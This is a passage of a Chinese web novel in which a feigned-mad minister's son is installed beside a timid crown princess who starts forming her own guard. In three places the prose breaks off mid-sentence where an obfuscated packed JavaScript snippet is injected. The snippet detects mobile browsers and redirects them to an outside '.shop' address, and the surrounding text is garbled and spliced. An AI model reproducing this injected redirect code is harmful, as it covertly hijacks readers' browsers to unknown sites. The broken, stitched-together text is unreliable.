这距离太近,呼吸相贴,盛尧实在不知道怎么应付,吓得一缩,手就挣了挣。 她缩得太远,太坚决,搞得谢琚反倒怔住了。 本来今天气得发疯来着,正是要将这荒唐的局面搅个天翻地覆,此时忽然打消了许多。 还真是个女孩儿啊,他犹犹豫豫地想。 自己好像吓着她了。 4. 谶纬这玩意 谢琚此人,脾气不好,性格也加倍差。 都中曾流行过一阵清谈玄学,名士相聚,品题人物。说白了,就是一群吃饱了撑的文人,对着人家的样貌仪态评头论足,再引几句经,便能断言此人日后的成就高低。 譬如谁人“濯濯如春月柳”,谁人“肃肃如松下风”,这个“皎若玉树”,那个“经世之才”,传来传去,都成了金科玉律。 谢琚就曾听人如此评过自己那位二哥:“胸有丘壑,目藏山海。” 回去之后,他笑得盘在榻上打滚。 谢琚自己年少时,也曾被这帮人围着,但本性竟然就没人看得出来。大约是觉得,生了这么一张脸,再坏也坏不到哪里去。说他“莹然自丽”,赞他“风姿特出”,各家月旦评,无外乎一句“美玉琼琚,吾不如也”。 美玉琼琚?每每听闻,谢琚都在心里冷笑一声。 真把他们扔到他爹的军帐里,见识一番什么叫人头滚滚,怕不是再也说不出半句风雅话。 他父亲谢巡是百战功成的权臣,哥哥们是镇守一方的武将,一家子都是铁血杀伐的料。到了他这里,随了母亲,生得了个绝代美人的好长相,又显得比三个哥哥聪明些。 于是人人都说,谢家出了个文武双全的麒麟儿,将来必定要青出于蓝。 不过如此。一群眼瞎的蠢货罢了。 他自小便晓得,自己那三个哥哥,老大能用,但成不了大器;老二是把好用的刀,却也容易割伤自己的手;老三颇有乃父之风,却是最容不下他这个弟弟的。 父亲百年之后,这三人必有一场你死我活的争斗。而他这个所谓“才华横溢”,又无母族的四子,定是第一个要被铲除的眼中钉。 谢琚摸摸自己的脸。自思是吃不了沙场征伐、朝堂倾轧那个苦的。三分怕疼,七分怕累,十分怕死。 因此深谋远虑,他疯了。 兵法有云,形兵之极,至于无形。无形者,形之君。无端者,事之本。 谢琚从虚空里编了个要做皇后的话术出来,这筹划足够猎奇,足够诡异,足够招人讪笑。又因母亲新丧,添了几分“伤心过度,心智失常”的可信。 毕竟,一个权臣的儿子,不说匡扶社稷,不说建功立业,偏偏要去和后宫的女人抢饭碗,这脑子得是坏到了什么地步? 大哥还则罢了,性子鲁直,信了八分。二哥三哥对他这突然变傻,很是有些疑虑在。只因历朝历代,装疯卖傻,自污以图后计的,也十足不少。 好在谢琚不一样。他真的没有什么后计,对这天下兵权也毫无兴趣。 正所谓藏形于无,游心于虚。似这般心里空空,自然计出无形。无形,则深间不能窥,智者不能谋! 因此他便认认真真地,做了个真诚的傻子。几年里头,安稳打发了多少次性命攸关的试探,甚至连他那多疑的父亲,也渐渐信了。谢琚对此十分满意。 不出意外,这样便能顺顺利利地,拖到父相过世。到那个时候,三个哥哥就算打起战来,怕是也早已忘了他这个傻弟弟。自己便能舒舒服服地做他的富家蠢公子,以后乐得逍遥。 多么完美,多么省心。 他筹策得天衣无缝。 直到今天午后,他爹把他从暖烘烘的熏笼上拎起来,告诉他:太子死了,现在的太子是个公主,你,谢琚,准备一下,去做她的皇后。 一句话,把谢琚的瞌睡虫全炸飞了。 他这才知道,那个当了十年太子的盛尧,是个女的。 …… 怎么就能是个女的?! 她怎么就敢是个女的?! 谢四公子那个当皇后的志向,是他的盾牌,是他用来隔绝所有政治联姻、权力纷争的幌子!一个男人想当皇后,何其荒谬!天下谁会把女儿嫁给一个想当皇后的疯子?谁又会把兵权交给一个想母仪天下的傻子? 可现在,他爹,他亲爹,居然真的给他找来了一个未来“皇帝”!还是个女皇帝! 一个女人扮太子?谢琚当时就气笑了,哪个蠢货想出来的馊主意?瞒得了一时,瞒得了一世吗? 平日沐浴更衣怎么办?癸水来了怎么办?将来大婚怎么办?生不出孩子又怎么办?随便哪一环出了岔子,都是个死。 谢琚被这些蠢人气得发抖,半个白天都没睡——他白天是要睡觉的。一路被塞进马车,还气得窝在车里咬手指。委实想不通,自己的策略,怎么就出了这么个天大的纰漏? ……谶纬这玩意。 恨他爹,恨那个从未谋面的女太子,甚至恨上了自己的乌鸦嘴。 这事儿实在是太蠢,太匪夷所思,因此下车的时候也差点没能忍住。最后决定趁着父亲和随扈都在,这个新出炉的皇太女不能公然拿他怎么样,顺势闹上一场,狠狠地报复一下,顺便试探这小皇女的底线,当然了,把事情搅黄最好。 倒要看看,能假扮太子十年的,是个怎样的人物。想必心机深沉,手段狠辣,泰山崩于前而色不变。 却没想到……她真就是个女孩儿! 这本是故意为之的冒犯。若对方是个心机深沉的政治傀儡,此刻要么是冷面含煞,要么是虚与委蛇。可她好似却只是害怕,眼睛里分明显得是“你是哪里来的疯子快离我远点”。 一个被吓坏了的,手足无措的小姑娘。舔了手心会从脸红到脖子根。 确实,他忘了,一个在幽禁中长大的女孩,能有多少心机城府? 眼看着这小皇女慌了,谢琚也慌了。 这种人,怎么能当皇太女? 这般轻易就被吓住,将来如何与虎狼般的诸侯周旋?她能在群狼环伺下活过三天吗? 她要是死了,当然也养不活自己,那他这个绑在一根绳上的“皇后”,还能有好下场? 谢琚两眼一黑,觉得自己安逸闲散的前路,已是十分艰险。 * 此时谢琚甚至可以想见,自己往后不仅当不成逍遥公子,还得被迫与一个看起来比他还像傀儡的丫头绑在一起,应付他那三个如狼似虎的哥哥,和天下那些虎视眈眈的诸侯。 想到这里,方才那点报复的快意荡然无存,只剩下无尽的悲凉。 他看着盛尧,盛尧也正自战战兢兢地,仰头看他。 四目相对。一个仓惶惊恐,一个悲愤欲绝。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692700|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “……” 悲愤欲绝的谢琚先败下阵来。 他叹了口气,捺下些怒火,又打点起些茫然的神态,侧过头,朝她边上抵了抵,小声地与她抱怨: “你好小气,糕点都不曾与我吃。” 盛尧哪里晓得他心思里头这些血雨惊风,教青年这温柔的语声弄得一愣,摊开被他舔过的手,掌心空空如也,只有一点点甜腻的触感。 “……没了。”她也小声地回答。 就在这古怪的僵持中,一直沉默旁观的谢巡终于说了话。 “琚儿。”谢琚转过头。 “不得对殿下无礼。”谢巡冷淡地道,目光却转向盛尧,行了一礼,“殿下受惊了。” 盛尧赶紧摇头,将那只被舔过的手又藏回袖子里。 “殿下久居别苑,想必孤单。”谢巡顿道,“我这痴儿,虽心智不全,倒也纯良。往后,便让他住进别苑,伴驾左右,也好为殿下解解闷。” 盛尧惊得抬起头,目瞪口呆地看着谢巡。 住……住进别苑? 和这个……这个疯子一起? 别苑是她被幽禁了十年的地方,是她唯一熟悉、能让她感到一丝安全的龟壳。现在,谢巡要把这个疯疯癫癫的漂亮美人,塞进她的龟壳里来? “这于礼不合!”盛尧大声道。 “殿下如今是皇太女,将来的天下之主。殿下说合的,便是礼。”谢巡堵死了她所有的话头,“符应谶纬,别苑并非真正的东宫。” 这话也没错,幽禁她的别苑偏居一侧,不是什么正经宫室。只是旧日宫掖盛时,天子行跸之处,礼法上确实没有那么严苛。 谢巡又揖道:“老臣会为他安排一个太子中庶子的职位,名正言顺地侍奉殿下。” 太子中庶子,那是太子的近臣,掌管太子府内诸事,几乎是形影不离。 盛尧闭上嘴巴。她看着这个面无表情的老权臣,又看看旁边那个茫然微笑的痴美人,只觉得天又塌了一次。 什么为她解闷,这是派来一个贴身的监视!一个让她时时刻刻都不得安宁的傻子! 而此时此刻,比盛尧更想死的,是谢琚。 他爹说什么?住进别苑?当太子中庶子? 谢琚脸上的茫然差点没绷住。他费尽心机装疯卖傻这么多年,为的是什么?为的就是远离职司,远离倾轧,图一个清净安稳,好吃懒做。 却发作不得,只能按下满心怒火,静静地站在这处,温柔地微笑。白裘风暖,桃衣熏熏,看起来既安闲又美丽。 他既不反应,谢巡对这儿子好似也很满意,老者微微颔首,对身后的内侍道: “今夜便将四公子安置在别苑西厢。” 盛尧绝望了。谢琚也一样。 但此时此刻,毫无办法。 盛尧深吸一口气,努力地,谨慎地,试图安抚自己。 这毕竟是个傻子,总比聪明人好对付点儿。 因此她小心翼翼地,将旁边这个美丽青年的袖子,拉上一拉。 “你叫什么名字?” 她说, “你认识我么?” 5. 皇太女和她的鱼 这谢四公子侧一侧头,好似没有听懂她说了什么,只是抿着唇,使他安着长长睫毛的眼睛,看着她,平稳地微笑,微笑得盛尧都止不住地羡慕起来。 看起来不至于很傻,最多不太聪明。 长得也太好看了。 仔细想来,谢四公子那“要当皇后”的昏话,现而今是她不得不应的谶纬,是她风雨飘摇的法统的重要部分,盛尧深吸一口气,替自己下了决心,伸出手,抓住他的手。 “……我们回去了。”她说。 话是朝谢琚说的,却看向谢丞相,点点头。 眼看这桩婚事……不对,这桩“伴驾”之事已成定局,谢巡将她看一看,也不再多留,只对老黄门令吩咐了几句,便转身带着侍从,消失在夜色之中,留下这对古怪的“君臣”。 老谢走了,小谢倒是很顺从,任她拉着,步子迈得不大,正好能与她并齐。 盛尧只好硬着头皮,在内侍宫人的簇拥下往别苑走去。雪地被踩得咯吱作响,两人一路无话。盛尧低着头,只敢看脚下的雪地。 她的龟壳,住了十年的别苑,就要被这个莫名其妙的漂亮傻子给侵占了。以后抬头不见低头见,睡觉都得睁着一只眼睛。 而跟在她身后的谢琚,脸上挂着温和的笑意,心里却早已将这荒唐的世道捶得烂了。 就算被人拿刀架着,逼他辅佐一位皇太女,那至少也该是一位杀伐果断,性格坚决的储君。哪怕心机深沉,手段狠辣,也好过眼前这个。 即便将来翻脸无情,好歹也能在诸侯环伺之下撑得久一些,让他有时间谋划退路。 绝不会是这种兔子老鼠一样的小姑娘,被人舔一下手心就吓得魂飞魄散,牵着他的指尖都还在微微发抖。 盛尧在这冬夜寒风里站了半个时辰,此时冻得发抖,但还是坚持抓着他。感觉到他的手紧了紧,以为走得累了,或是又要发什么疯,只好停下脚步,侧过头看他。 夜色下,这人的脸真是好看得过分,脸颊上似乎都沾了疏落的月光。 “怎么了?”盛尧小声问。 谢琚回过神来,眨眨眼。 盛尧觉得自己像在哄一个随时会咬人的猫儿狗儿。因此放缓了语气,仰头看他:“我……日后该如何称呼你才合适?” 总不能一直“你你你”地叫吧。 谢琚看着这小姑娘,依旧是那副沉默微笑的安静神情,抿一抿唇,不曾说话。 ——如何称呼?按规矩,宗亲见了他,也得恭恭敬敬地称一声“四公子”,如今他领了太子中庶子的职,叫一声“谢中庶子”也是本分。但这个小姑娘胆子太小,想必是不敢的。 若是她胆子再大些,像个真正的储君,或许可以亲近些,叫一声“四郎”,也还不错,有利于自己日后狐假虎威。 或者……谢琚稍稍沉思,若是她再有魄力些,再……再无法无天一些,声音甜软些,叫他一声“琚哥哥”,倒也不是不行。 盛尧见他半晌不语,只是歪着头看自己,好似什么都听不懂。略做思考,果然不能指望一个傻子回答。 她只好转头,问跟在后面的谢家侍从:“他可有表字?” 就中一个较老练些的侍从躬身答道:“回殿下,四公子有字,唤作‘季玉’。” “季玉?”盛尧问。 侍从便即应道:“四公子才行冠礼不久,取字时,心智已然……因此丞相便从简,按伯仲叔季,取了个‘季’字,又因公子名‘琚’,便配了个‘玉’字。” 一番话说得十分含蓄。盛尧却听明白了,言下之意,就是取字时人已经傻了,取得很含糊,没什么讲究,毕竟是个傻子,不必费心。 当下宗族,取字是大事,谢巡显然是已经放弃了这个儿子。 季玉。 盛尧点点头,合着也没比自个大了两岁,又将他这现状与自己的幽禁生涯相互印证,忽然生出点恻隐。 那也还行,多少对他好点,自己也不吃亏。 看着谢琚那张惑人的脸,想了想“季玉”这字,心里灵光一闪。 对一个傻子来说,“季玉”这两个字未免太雅,怕是记不住。是得给他起个简单好记的。 盛尧拍拍脸颊,尽量笑得灿烂些,凑近了放柔声音: “你如今……神智不很清明,怕是记不得许多事了。‘季玉’二字有些拗口,不如我给你换个称呼,好不好?” 谢琚看着她,歪一歪头,似乎在认真听。 盛尧凑到他耳边,用只有两个人能听见的声音,与他说: “以后我就叫你‘鲫鱼’,好不好?” “就是一条鱼,”她从他手里抽出手,和他比划,道,“刺多,肉少,胜在鲜活。” 合情合理!这谢四公子舐她手心的样子,也确实像是个舔舐鱼汤的猫儿。更听说鱼的记性只有短短一瞬,游过一个圈就忘了自己刚才在做什么。这不正好和他现在的状况相似吗? 谢琚脸上的微笑瞬间凝固,漂亮的眼睛眨了眨,仿佛迎面砸来了一句极其复杂的话。 青年沉吟片刻,就在盛尧以为他没听懂,准备再解释时,对她绽开一个更加温和,却也略显僵硬的笑容,点点头。 ……鲫鱼。 胆大包天的小丫头!她怎么敢!谢琚恨不得立刻将这小姑娘按在名士雅集上——这时候名士们又很是权威了——让她好好见识见识,什么叫风姿特出,什么叫美玉琼琚。 但迎上小皇太女关切的神情,所有的怒火都得压回去。现在是个傻子。傻子是不会生气的。 好气哦,可是又只能微笑。 谢琚眼睁睁地看着盛尧使一种“我为你着想”的慈爱目光望着他,伸手拍拍他的手,以示亲近。 于是,在满心要把她按在地上摩擦的滔天怒火中。 "好呀。"他说,言语从齿间轻柔缓慢地碾过,温顺美丽地低下头,“我很喜欢。” 漂亮又和暖,听得盛尧心里一松。 因此她再拍一拍他的手,对他说,“那你就叫我……嗯,‘阿摇’好了。”她想起那摇摇晃晃的步辇,和摇摇晃晃的玉旒,接着补充:“摇摇欲坠的摇。” “阿摇。” 这谢四公子轻轻地念道,目光热情,只是更加温暖地看着她。 “走吧,鲫鱼,”放下折寿的大名,盛尧心中轻了许多,朝着灯火通明的西厢走去,忽然也明快了不少,“我带你去你的新家。” * 别苑西厢的屋子,比盛尧自己的寝殿还要宽敞些。里头熏笼烧得暖意融融,陈设虽不奢华,却样样精致考究,显然是谢相早就备下的。 盛尧将人送到门口,看着宫人伺候他脱下狐裘,换上家常的袍子,自家屋檐被侵占的不满,总算稍微打发了些。毕竟是客,总不好太苛待。 她松了口气,转身正要溜回自己屋里,却被身后人轻轻拉住了袖角。 “嗯?”盛尧回头。 “夜里冷,”他温声说,指了指屋里的熏笼,“一起烤火。” 盛尧赶紧摇头:“不了,我……我该歇息了。” “哦。”他应了一声,松开了手,脸上露出显而易见的失望。这过分美丽的脸一旦流露出这种神情,威慑大得吓人,教人不由自主地心生愧疚。 盛尧霎时就撇了那些松快的心思,往后退了一步。飞快地道了句“你早些歇息”,便头也不回地跑走。 回到自己那间显得阴冷的寝殿,盛尧才彻底放松下来。她躺在榻上,用被子把自己裹成一个卷。 当心,她告诉自己,毕竟是谢家的人。即使是个漂亮傻子。这张脸,这种无辜又依赖的神态,太容易让人放下戒心。 须得要警惕。 * 接下来的几天,出乎皇太女意料,谢琚当真闭门不出。 他仿佛彻底忘了那天夜里对她的邀请,也没再来寻过她。据西厢伺候的宫人回报,这位四公子每日的生活,常常是睡着的。醒的时候,就找个最暖和的地方,譬如窗边的软榻,或是熏笼旁的地席,抱着个手炉,一坐就是一下午。 盛尧偷偷去看过一次。隔着窗棂,只见他长发散在肩头,平和地靠在软榻上,闭着眼睛。午后的冬日暖阳照进来,金黄的光影如同披帛般缀上他的身形,轮廓锐利,眉目浅淡。 似乎睡着了,呼吸十分平稳,神情很是安详。 盛尧心想,鲫鱼这个名字,或许还真没起错。他就真的像一条养在暖水里的名贵锦鲤,懒洋洋的,对外界的一切都漠不关心,只管享受自己的安逸。 安逸,却也只是表象。 自那日太庙事变之后,她便再未见过谢丞相。可谢相的意志,却无孔不入地渗透进别苑之中。 每日清晨,老黄门令都会捧来一堆奏表简章,恭敬地呈到她面前。 盛尧起初还心惊胆战,以为是要她表态。可展开一看,才发现这些都不关乎军国大事,是一封封来自各郡县的“献瑞”表章。 今日是东海紫气升腾,绵延三百里,现五色神龟,背负洛书,上有“女主昌”三字;明日是司州有凤来仪,口衔朱果,跪舞长鸣三日而不去;后日又是扬郡降下甘霖,枯木逢春,有老翁梦见神女,言“天下当归坤元”。 这些谶纬之说编得有鼻子有眼,引经据典,仿佛她盛尧并非一个被临时推上台的假太子,乃是真正天命所归的圣人。 盛尧一卷卷地看过去,心里明白,这些东西,可不是给她看的,只是教她知道。是谢丞相借她的手,发往天下,昭告四方。每一封奏章背后,都是一个明确的表态。呈上贺表,便是承认了她这“皇太女”的身份,归顺了谢氏。 而那些没有声音的地方,才是真正的麻烦所在。 老太傅曾不止一次在她面前痛骂过当今天下的局势,她寻思,至少有两位,此刻怕是正在延请才子,打磨檄文了。 “北有翼州高昂,名为大将军,实为一方之主,手握精兵,素来与谢贼不睦,喂不熟的豺狼!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692701|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西有繁昌王盛衍,辈分偌高,自以为德高望重,振臂一呼,天下士人必将群起响应。似这等人,态度仍然暧昧,可不是心怀鬼胎么!” 盛尧甚至能想象到,此刻的翼州和繁昌,怕是早已调兵遣将,只待一个合适的时机,便会以“清君侧,诛国贼,下女孽,正天纲”的名义,挥师东进。 而谢巡,也必在准备用兵。 这几日都中看似风平浪静,实则暗流汹涌,何时发难,均有可能。 盛尧将奏表合上,揉揉额角。却也几乎是无计可施,这几日,反而有些想念西厢房里那条鱼了。一个傻子的心思,总比这波云诡谲的天下大势要好猜得多。 正想着,殿外的宫女禀报,说西厢房那边,四公子累日未曾进食,也不让任何人进去。 盛尧立时慌了。 可别死在她这里!谢巡把儿子塞给她,名为伴驾,实为质子,若真出了什么三长两短,她可担待不起。 盛尧赶紧起身,亲自带着食盒,往西厢房走去。 阳光照在雪地上,有些晃眼。她推开虚掩的门,混着名贵熏香的暖气扑面而来。 而那个三日未出的谢琚,此刻仍然倚在窗边一张铺着厚厚白狐裘的软榻上,茜色的衣袍委顿在地下,好似锦鲤拖着它透明的长长尾巴。 软榻上的人缓缓睁开眼。 “很饿。”这漂亮的青年抬起头,眸子望向她,声音沙哑,好像长久地未曾说话。 盛尧想起前几天她自个饿的样子,稍微难过了一点,打开食盒,将一碗温热的杏仁酪和几碟糕点端出来,“起来吃点东西吧,你都三天没吃了。” 谢琚却不动,只是定定地看着她,然后慢吞吞地从软榻上起身,没有去看那些食物,凑近了,在她颈边极轻地嗅了嗅。 盛尧浑身一呆,就见他微微倾侧,凑到她的耳边,小声问道: “殿下……是来喂我的么?” “不是。”盛尧清楚地打断他,将他往后一推,“你为什么不吃饭?” 却只推了个空。青年已经自己退开了半步,脸上依旧是那副人畜无害的神情。 回神。盛尧拍拍脸颊,指着桌上的食物,又问了一遍:“你为什么不吃饭?” 谢琚的目光扫过那些碗碟。 “我不喜欢这些人,”他斟酌般低声说,轻得像猫儿的爪垫,软软地踩在人心上,“我不想见到他们。” 他说的“这些人”,自然是指别苑里伺候的宫人。 盛尧心里一沉。不喜欢?她何尝又喜欢呢? 在她之前,各位皇帝被拥立来去,东宫多年虚位。现今这些宫人,大多是从各地贡来的。名义上是伺候皇太女,实际上,谁是谁的眼线,谁又是谁的耳朵,根本无从分辨。 她安抚地拍一拍谢琚的手:“他们只是奉命行事,你……” 话未说完,这四公子却摇了摇头,睫毛垂下,很是难过。 “我喜欢你些。”他说。 盛尧眼睛又有点花了。 过于直接,也太蛊惑。一个神智不清的痴儿,说出的话本不该当真。可这双幽沉的眸子注视着你,这张绝世的容颜对你展露出唯一的亲近时,那确实有些可怖。 搞得她一时竟有些为难。换掉这些宫人?谈何容易。这些人都是按太子规制早就定下的,一举一动都牵扯着盛氏百年的宫中旧例,她一个根基未稳的皇太女,如何能轻易撼动? 见她沉默,谢琚歪了歪头,眼睛里茫然之色似乎淡去了一些。他凑近了点儿,长长的茜色衣衫曳在身后,又恢复了那种危险的、几乎要将人吞噬的距离,缓慢地问她: “你……不是很厉害么?” 温热的气息吹过耳廓,盛尧想躲,却听见他缭绕般地说: “阿摇……不是皇太女么?” 清澈锐利的眼眸,就这么静静地看着她,映出她所有的胆怯和无力。 是啊,皇太女。 她不是太子了。她是皇太女。 一个史无前例、闻所未闻的称谓。 太子有东宫,有詹事府,有沿袭百年的规制和属官。她这个被幽禁的假太子,自然只能用东宫仪轨。 可“皇太女”如何仪制呢? 前朝没有,史书未载。这是一个被谢巡凭空捏造出来的崭新身份。既然身份是新的,那规制、府邸、属官,乃至侍奉的宫人,不也可以都是新的吗? 或许她可以借着“皇太女”这个前所未有的名头,偷偷地另起炉灶,组建一套完完全全属于自己的班底。 这个念头如同幽昧昏夜中的雷霆,霍然洞开了十年来的混沌。盛尧一直觉得自己像只缩在旧壳里的乌龟,战战兢兢,总怕被人发现壳子不合身。 直到此刻才寻到由头,她似乎不必住在这个壳子里,似乎可以为自己造个新的宫殿! “先吃饭,”她打定主意,手里舀起一勺温着的杏仁酪,“吃饱了,才有力气看我,怎么把那些讨厌的家伙,一个个地,都扔出去。” 6. 必定会坐立不安 两天半,三十个时辰。 谢琚筹谋得很好。以他这张脸,这份姿态,搞点绝食的把戏,饿上一天,做出恹恹的样子,美丽又脆弱。这个兔子似的小皇太女必定会坐立不安,慌慌张张地跑来查看。届时,他再稍作点拨,让她意识到皇太女有多么特殊,为自己换来更大的便宜。 这是他谢琚的谋略,是窥见权力空处的敏锐洞见。 可苍天啊,饿了两天半! 整整两天半!小丫头片子才想起来西厢房里还有个活人! 谢琚在心里咬牙切齿。两天半,三十个时辰。他躺在这软榻上,从一开始的胸有成竹,到后来的烦躁不安,再到最后的深深自我怀疑。 难道是这张脸失了效用? 不可能!绝对不可能! 甚至开始反思自己之前的策略。宫门前舔她手心,是不是太过,吓着她了?夜里邀她烤火,是不是太隐晦,她没听懂? 所以逼不得已,添了一句“我喜欢你些”。 这句话一出口,谢琚就想给自己一巴掌。这算什么?曲意媚上的后宫伎俩!堂堂谢相四子,明姿特秀,筹策无双,居然要沦落到去博一个傀儡丫头的喜欢? 奇耻大辱! 滔天的怒火在心中翻滚,面上却只能漾出一点儿委屈的涟漪。裹着茜衣的青年垂下眼睫,轻巧地自她手里捧过酥酪。 盛尧见他终于肯好好吃饭,心里松了老大一口气。小心地看着他,觉得他虽然叫做鲫鱼,但此刻的样子,却好似一尾呆呆地漂着的华丽锦鲤,行动带着点可怜兮兮的飘零摇荡。由是甚至觉出了几分欣慰。大致类似于投喂猫狗成功后的满足。 一条危险的间谍鱼,她纠正自己,但眼下看着确实怪可怜的。 “这就对了,”她试图温声细语地哄着,“有什么事,吃饱了再说。” 谢琚露出一边眼睛,打从碗沿看过她去,见这也不过就是个十多岁的女孩儿。身形单薄,声音也轻,想想还得要她这样安慰般地与自己说话,心里忽然升起些莫名的烦躁和火气。 青年一把从盛尧手里拿过那碗杏仁酪,也不用勺子,仰头几口就喝了个干净。 “啊!”盛尧被他这举动吓了一跳,生怕他呛着。 谢琚将空碗往桌上重重一放,抬起漂亮幽深的眸子,直勾勾地盯着她。 盛尧被他看得心里发毛,而这位气饱了的谢四公子,将空碗往她面前一推,又指了指食盒,垂下头,十指交叠,很是闲适地语道: “还要。” 盛尧:“……没了。” 漂亮的眉毛立刻拧了起来,满脸都写着“我不信”和“你好小气”。 可怜的鱼,大概是饿疯了。盛尧想,傻子就是这样,情绪来得快去得也快,不喜欢就不吃饭,也不晓得会饿坏自己。 往后可得派人盯紧点。 因此赶紧叫人传膳,真好似喂养了一条锦鲤,不给不食,给多少就能吃多少。 接下来,盛尧便目瞪口呆地看着这位病恹恹的美人,化悲愤为食欲,将一整碗粟米饭吃得干干净净,连带着几碟小菜也一扫而空。 计策虽有波折,但总归是成了。 只是多吃了几碗饭。 谢琚心满意足地放下碗箸,病气全无,整个人都明亮起来,宛如一块被精心擦拭过的美玉,复又抬起那双含着水光的眸子。 “那么,”他轻声说,拉起她的手,侧过头,“阿摇可以把那些讨厌的人赶走了么?” 盛尧点点头,十分快活。 “既然吃饱了,就好好待着。”她嘱咐,打算去收拾心里那个崭新的大胆念头。 她从他手里抽出手来,转身就走,谢琚手里一空,眉头一皱。 “殿下要去哪儿?”青年的声音从身后传来。 盛尧脚步一顿,没有回头,只是道:“去做皇太女。” * 当日晚间,盛尧将自己关在书房里,命人不许打扰。翻箱倒柜,找遍了架上所有关于宫廷规制的典籍,从《周礼》到《仪典》,试图为自己这个“皇太女”的身份,寻找一星半点的法理依据。 当然是徒劳的。史书上从未有过女人承继大统的先例,也没有所谓的“皇太女仪制”。 她想起谢巡的话:“殿下说合的,便是礼。” 既然如此,那她便为自己定一个“礼”。 盛尧深吸一口气,提笔写下“皇太女卫属初置议”,笔尖微颤。这或许是她十年来,第一次真正为自己的命运落笔。 忽然忆起太庙里那些黑压压的朝服,王长史血溅铜鼎时众人冷漠的目光。 她身边一个人都没有。东宫六率,太子属官,名义上是护卫,实际上,却都是别人的眼睛耳朵。 盛尧的笔尖终于落下,当先在绢帛上写下两个字:“内卫”。 她思索片刻,又作添注:不设员额,不拘男女,唯忠心是取。凡入选者,不论出身,皆由皇太女亲选亲授。 又想了一想,在下面附道:另选健妇百人,高大有力者,与男子杂处,同操演,同宿卫,为皇太女羽翼。 她写得投入,连身后何时多了个人影都未曾发觉。 直到一阵暖香靠近,一件带着熏笼温度的暖手炉被轻轻塞进她手里。 盛尧一惊,回头便对上谢琚。他不知何时已穿戴整齐,抱着自己的宝贝手炉,正侧着头,打量她笔下的字。 “阿摇,”他轻巧地叫她,“你在忙什么?” “在想……怎么把那些讨厌的家伙都扔出去。”盛尧揉揉眉心,也恹恹地道。 “扔出去?”谢琚眨眨漂亮的眼睛,将手炉抱得更紧了些,稍作犹豫,平静地问她,“都扔了,这里不就冷清了么?我不喜欢冷清。” 盛尧耐心:“那些人,不是我的人。留着他们,只会碍手碍脚。” “哦。”青年温顺地点一点头,将身子倚在她身后,“你要找许多新的人来玩么?” “不是玩。”盛尧往旁边挪上一挪,纠正他。 “那为什么不让旧的人也一起?”语声温和而缓慢,“他们去哪里?把他们都赶走吗?会不开心的。” 青年抬起头,狐毛冉冉,纤丽温柔,对她莹然一笑。 “人多才热闹。你可以有新的人,也可以有旧的人,让他们比一比,谁对你最好。嗯。这样,阿摇就是宫里人最多、最厉害的殿下了。” 盛尧咬着笔杆,稍作思索。 尽数裁撤东宫旧人,动静太大,必然会引起朝野非议,触动许多利益。太子卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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比起鲫鱼,这般心想事成,真正更加像运气极好的锦鲤。 被夸奖的谢四公子露出笑容,几乎是揽在她背后,将怀里的手炉朝底下递了递,迟疑地问她: “那么……阿摇喜欢我么?” 盛尧开心地点点头,随手从案上食盒里取了一块桂花糕塞给他。 伏着的青年身子一僵,眉头微蹙,她忽然背上轻快,糕点碎片细细落下,刺刺挠挠的。转过头,见他已然走了。 盛尧莫名其妙。不过好歹花了一个晚上,她终于拟定了完整的章程。次日一早,便巴巴地让人将这份“皇太女卫属增置议”送到了丞相府。 消息传出,朝野一片哗然,而后便是此起彼伏的嗤笑。 满朝公卿听闻这位新鲜出炉的皇太女,不思军国大事,反倒痴迷于给自己设计仪仗,还要挑选什么“健妇”入宫,大多付之一笑。 果然如谢琚“预言”的那般,并未引起太大的波澜。 丞相府也没有提出任何异议,只注了一个“可”字,便遣人递还给她。 遴选那日,天降小雪。别苑外的演武场上,来的人着实不少。盛尧坐在高台的帷幕后,雪粒子细碎地打上帷帐,发出沙沙的轻响。 应征的男子大多是些市井游侠,或是家道中落的武人子弟,间或有军中不甚得志的底层校尉。女子则更是五花八门,有些像是常年耕作的,也有市井中身强力壮的妇人,甚至还有几个酒家跑堂的小女,图那份优厚的钱粮而来。 不过是个被推上台的、喜欢异想天开的小女孩儿。 都中没人将此当真。 7. 招募 盛尧晓得,这遴选的消息传出去,五花八门,优者寥寥是意料中事。毕竟“皇太女”听着尊贵,实则根基飘摇,谁也不知能存续几时。有门路、有本事的,谁会来投靠她这个前途未卜的傀儡? 还不待这失望彻底倾侧,身边忽地一暖。帷幕傍边,谢琚果然抱着他的手炉,不知何时凑了过来。茜衣白裘,往她后边侍立般地站着,身侧萦上些暖融融的香气。他见盛尧看过来,向着她温和地笑。 盛尧轻松起来,朝选官大声喊:“开始吧!” 场中众校尉忙不迭地高声答应,却被场边一阵喧哗声掩去,人群都提目看时,见那一拨穿得服色破落,与边上推推搡搡。原来遴选的消息不知怎么,被人广贴了出去,竟连都中瓦舍,都有人闻讯而来。 瓦舍,乃是百戏、巫医、杂耍、优伶等等下九流之人聚集之所。寻常人家尚且不屑一顾,更何况是为储君选拔卫士。 为首的选官魏校尉眉头紧皱,厉声喝道:“肃静!何人在此喧哗!” 有个身材魁梧的汉子被推了出来,指着边上一人,告道:“大人,这儿混进来个耍杂耍的!这不是拿殿下和咱们开涮么!” 